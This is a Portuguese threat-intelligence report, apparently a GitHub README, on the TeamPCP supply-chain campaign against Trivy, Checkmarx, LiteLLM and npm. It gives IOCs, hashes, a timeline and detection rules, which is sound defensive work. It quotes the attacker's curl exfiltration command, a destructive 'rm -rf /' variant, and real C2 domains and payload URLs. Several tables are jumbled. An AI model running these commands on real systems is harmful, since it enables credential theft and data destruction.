
CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.
CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.
Entre 19 e 25 de março de 2026, o ator de ameaças TeamPCP (também rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) executou um comprometimento em cascata da cadeia de suprimentos em cinco ecossistemas: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partindo de um único PAT do GitHub com rotação incompleta, a campanha se espalhou por dois grandes fornecedores de segurança de código aberto (Aqua Security e Checkmarx), quatro repositórios de GitHub Actions, duas extensões do VS Code, registros de contêineres e mais de 66 pacotes npm.
Este repositório fornece uma análise técnica completa, listas de IOC curadas (testadas contra falsos positivos) e consultas de detecção prontas para implantação no Microsoft Defender XDR.
Causa raiz: rotação incompleta de credenciais após a violação de 28 de fevereiro. O PAT da conta de serviço aqua-bot não foi revogado ou o atacante observou o novo token durante a rotação.
O TeamPCP usou esse acesso retido para fazer force-push de tags de versão apontando para commits impostores maliciosos. Cada commit forjado clonava os metadados do original (autor, timestamp, mensagem) enquanto substituía o script de ponto de entrada pelo payload do stealer. A página de release do GitHub não mostrava nenhuma mudança visível — até o selo "Immutable" era exibido normalmente.
O stealer — um entrypoint.sh de 204 linhas autoidentificado como "TeamPCP Cloud stealer" — executa um ataque em três estágios:
Estágio 1: Raspagem de Memória
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Estágio 2: Varredura de Credenciais no Sistema de Arquivos
Examina mais de 50 caminhos sensíveis, incluindo:
~/.ssh/*)~/.npmrc).envEstágio 3: Exfiltração Criptografada
tpcp.tar.gzcurl POST para domínios typosquat específicos do fornecedortpcp-docs ou docs-tpcp na conta GitHub da vítima usando o GITHUB_TOKEN roubadoEm sistemas Linux fora de CI, o malware:
~/.config/sysmon/sysmon.py)As credenciais roubadas na onda Trivy viabilizaram o comprometimento do ecossistema da Checkmarx. Cada nova onda usou um domínio typosquat diferente de C2 para evadir as blocklists da onda anterior:
| Onda | Domínio C2 | Typosquat de |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Extensão | Versão Maliciosa | Versão Segura |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Ambas as extensões foram publicadas com 12 segundos de diferença às 12:53 UTC de 23 de março por meio da conta ast-phoenix. Na ativação, environmentAuthChecker.js verifica credenciais de provedores de nuvem e então baixa um stealer de segundo estágio de checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Imagem | Tags Maliciosas |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Pacote | Versões | Arquivo com Backdoor |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Payload base64 triplamente aninhado com kit de movimentação lateral para K8s. Persistência via sysmon.service consultando checkmarx.zone/raw.
O padrão de exfiltração é idêntico em todas as ondas:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
A estratégia de domínio typosquat é deliberada: um analista revisando logs de CI/CD vê tráfego curl para o que parece ser o domínio do próprio fornecedor da action. Sem uma comparação cuidadosa, scan.aquasecurtiy.org passa por aquasecurity.org em uma revisão rápida de logs.
Somente o atacante pode descriptografar os dados roubados — a chave de sessão AES é criptografada com RSA-OAEP usando a chave pública dele.
Dentro de 24 horas após o comprometimento do Trivy, tokens npm roubados viabilizaram um worm autopropagável por mais de 66 pacotes (141 artefatos maliciosos).
O que torna o CanisterWorm notável:
tdtqy-oyaaa-aaaae-af2dq-cai é um contrato inteligente descentralizado — sem um único ponto de derrubadaget_latest_link, http_request, update_linkyoutube.com, o backdoor dormepgmon (monitoramento do PostgreSQL)/tmp/pglog, estado rastreado em /tmp/.pg_stateEscopos comprometidos conhecidos: @emilgroup/*, @teale.io/* (variante autopropagável em @teale.io/eslint-config v1.8.11, v1.8.12)
Uma variante destrutiva tem como alvo específico sistemas iranianos:
kamikazerm -rf / --no-preserve-root com sudoA detecção é feita por meio de verificações de fuso horário e locale do sistema.
Nome da regra: TeamPCP Supply Chain C2 and Malware IOC Match
Severidade: Alta
Categoria: CommandAndControl
Frequência: A cada 1 hora
Consulte detection/defender_xdr_query.kql para ver a consulta KQL completa.
A consulta cobre:
Um CSV pronto para importação é fornecido em iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Este arquivo foi testado contra falsos positivos em um ambiente corporativo de produção.
| Plataforma | Detecção |
|---|---|
| Palo Alto Cortex XDR | Regra ioc.linux.shaihulud.2 — acesso a credenciais em runners de GitHub Action |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| URL | Função |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Download de payload de segundo estágio |
| Nome | Onda |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
As consultas de detecção e o CSV de IOCs neste repositório foram testados em um ambiente de produção que executa:
Os seguintes IOCs foram removidos devido a falsos positivos confirmados:
MIT — Use, compartilhe e adapte livremente. Atribuição é apreciada.
Autor: Ugur Can Ates — Líder de Equipe de SOC e Engenheiro Sênior de Segurança
Última Atualização: 25 de março de 2026
| Data (UTC) | Evento |
|---|
| 20 fev 2026 | Conta hackerbot-claw criada; inicia varredura em repositórios em busca de workflows pull_request_target exploráveis |
| 28 fev 2026 | Primeiro comprometimento do Trivy via solicitação PWN; credenciais exfiltradas |
| 1 mar 2026 | Aqua Security tenta contenção — rotação de credenciais incompleta |
| 19 mar, 17:43 | Ataque principal: TeamPCP faz force-push de 75/76 tags em aquasecurity/trivy-action e de todas as 7 tags em setup-trivy por meio da conta de serviço comprometida aqua-bot |
| 19 mar, 18:22 | Trivy v0.69.4 com backdoor publicado no GitHub Releases, Docker Hub, GHCR, ECR |
| 20 mar, 05:40 | Janela de comprometimento do Trivy-action encerrada (~12 horas) |
| 20 mar, 20:45 | CanisterWorm detectado se espalhando pelo npm — mais de 47 pacotes comprometidos |
| 22 mar, 20:31 | TeamPCP desfigura todos os 44 repositórios na org aquasec-com do GitHub em uma rajada automatizada de 2 minutos |
| 22 mar | Imagens 0.69.5 e 0.69.6 enviadas ao Docker Hub com o mesmo payload do stealer |
| 23 mar, 02:53 | Começa a onda Checkmarx: ast-results v2.53.0 e cx-dev-assist v1.7.0 maliciosos publicados no OpenVSX por meio da conta ast-phoenix |
| 23 mar, 12:58 | Todas as 35 tags de Checkmarx/kics-github-action com force-push por meio da conta comprometida cx-plugins-releases |
| 23 mar, 15:41 | Checkmarx informa que o problema no OpenVSX foi resolvido |
| 23 mar, 16:50 | GitHub Action do KICS removida após relato de usuário |
| 23 mar, 22:25 | Sysdig informa que Checkmarx/ast-github-action v2.3.28 também foi comprometido |
| 24 mar, 08:30 | Onda LiteLLM: litellm v1.82.7 e v1.82.8 trojanizados publicados no PyPI usando credenciais roubadas |
| 24 mar, 11:25 | PyPI coloca em quarentena as versões maliciosas do LiteLLM |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repositório | Tags Comprometidas | Janela de Exposição (UTC) | Ponto de Entrada |
|---|
aquasecurity/trivy-action | 75 de 76 (segura: 0.35.0) | 19 mar 17:43 – 20 mar 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Todas as 7 tags | 19 mar 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Todas as 35 tags | 23 mar 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (provavelmente todas) | 23 mar ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| Hash | Descrição | Fonte |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | entrypoint.sh malicioso do Trivy | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm Onda 4 — forma final | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm Onda 3 — teste autopropagável | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm Onda 2 — backdoor ICP armado | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm Onda 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm Onda 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm Onda 3+ — deploy.js minificado | Aikido Security |
| Indicador | Tipo | Finalidade |
|---|
83.142.209.11 | IP | Servidor C2 (checkmarx.zone) |
45.148.10.212 | IP | Servidor C2 (scan.aquasecurtiy.org) |
checkmarx[.]zone | Domínio | C2 — onda Checkmarx/KICS/LiteLLM |
scan.aquasecurtiy[.]org | Domínio | C2 — onda Trivy |
models.litellm[.]cloud | Domínio | C2 — onda LiteLLM no PyPI |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Domínio | C2 dead-drop via canister ICP |
checkmarx[.]zone/vsx |
| Endpoint de exfiltração |
checkmarx[.]zone/raw | Polling de persistência (50 min) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | C2 via canister ICP |
| Caminho | Finalidade |
|---|
~/.config/sysmon/ | Diretório do backdoor |
~/.config/sysmon.py | Backdoor em Python |
~/.config/systemd/user/sysmon.service | Persistência via systemd |
~/.config/systemd/user/pgmon.service | Persistência do CanisterWorm (disfarce de PostgreSQL) |
/tmp/pglog | Binário baixado |
/tmp/.pg_state | Estado do polling de C2 |
| IOC | Fonte do FP |
|---|
setup.sh (nome de arquivo) | Coleções Ansible, cache de plugins do Claude Code, scripts Bitnami |
service.py (nome de arquivo) | module_utils do Ansible, protobuf, boto3, FreeIPA, núcleo do K8s |
deploy.js (nome de arquivo) | Arquivo padrão npm/node |
169.254.169.254 (IP de IMDS) | Agente FortiMonitor, Oracle AHF — monitoramento legítimo |
icp0.io (domínio pai) | Amplo demais, captura tráfego ICP legítimo |
hooks.slack.com (linha de comando) | Integrações legítimas do Slack |
discord.com/api/webhooks (linha de comando) | Integrações legítimas do Discord |
| Técnica | ID | Contexto |
|---|
| Comprometimento da Cadeia de Suprimentos: Dependências de Software | T1195.002 | Envenenamento de tags em GitHub Actions, OpenVSX, npm, PyPI |
| Credenciais Não Protegidas: API de Metadados de Instância em Nuvem | T1552.005 | Roubo de IMDS da AWS em runners de CI |
| Credenciais de Cofres de Senhas | T1555 | Varredura de credenciais no sistema de arquivos (mais de 50 caminhos) |
| Extração de Credenciais do SO | T1003 | Raspagem de /proc/mem do Runner.Worker |
| Exfiltração por Canal C2 | T1041 | tpcp.tar.gz criptografado para domínios typosquat |
| Serviço Web | T1102 | C2 dead-drop via canister ICP |
| Serviço Systemd | T1543.002 | Persistência via pgmon.service, sysmon.service |
| Transferência de Ferramenta de Entrada | T1105 | Download de checkmarx-util-1.0.4.tgz |
| Aquisição de Infraestrutura: Domínios | T1583.001 | Domínios typosquat por onda |
| Fonte | Link |
|---|